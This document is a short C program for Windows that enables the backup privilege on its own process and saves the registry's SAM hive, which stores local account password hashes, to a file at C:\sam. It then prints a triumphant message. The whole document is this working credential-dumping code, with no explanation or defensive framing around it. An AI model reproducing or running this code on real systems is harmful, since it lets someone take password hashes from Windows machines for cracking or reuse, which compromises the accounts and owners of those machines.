#include <windows.h> 
#include <stdio.h> 

int 
main() { 
	HANDLE hToken = INVALID_HANDLE_VALUE; 
	char buffer[sizeof(TOKEN_PRIVILEGES) + sizeof(LUID_AND_ATTRIBUTES)]; 
	HKEY hKey = INVALID_HANDLE_VALUE; 
	PTOKEN_PRIVILEGES pPriv = (PTOKEN_PRIVILEGES)buffer; 
	
	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) 
		goto fail; 
	
	pPriv->PrivilegeCount = 1; 
	LookupPrivilegeValue(NULL, SE_BACKUP_NAME, &pPriv->Privileges[0].Luid); 
	pPriv->Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 
	if (!AdjustTokenPrivileges(hToken, FALSE, pPriv, 0, NULL, NULL)) 
		goto fail; 
	
	if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SAM", 0, KEY_READ, &hKey)) 
		goto fail; 
	if (RegSaveKey(hKey, "C:\\sam", NULL)) 
		goto fail; 

	printf("Voila!!!\n");

	RegCloseKey(hKey);
	CloseHandle(hToken);

	return 0;
	
fail:

	if (hKey != INVALID_HANDLE_VALUE)
		RegCloseKey(hKey);

	if (hToken != INVALID_HANDLE_VALUE)
		CloseHandle(hToken);

	printf("Error occured :-(((\n");

	return -1;
}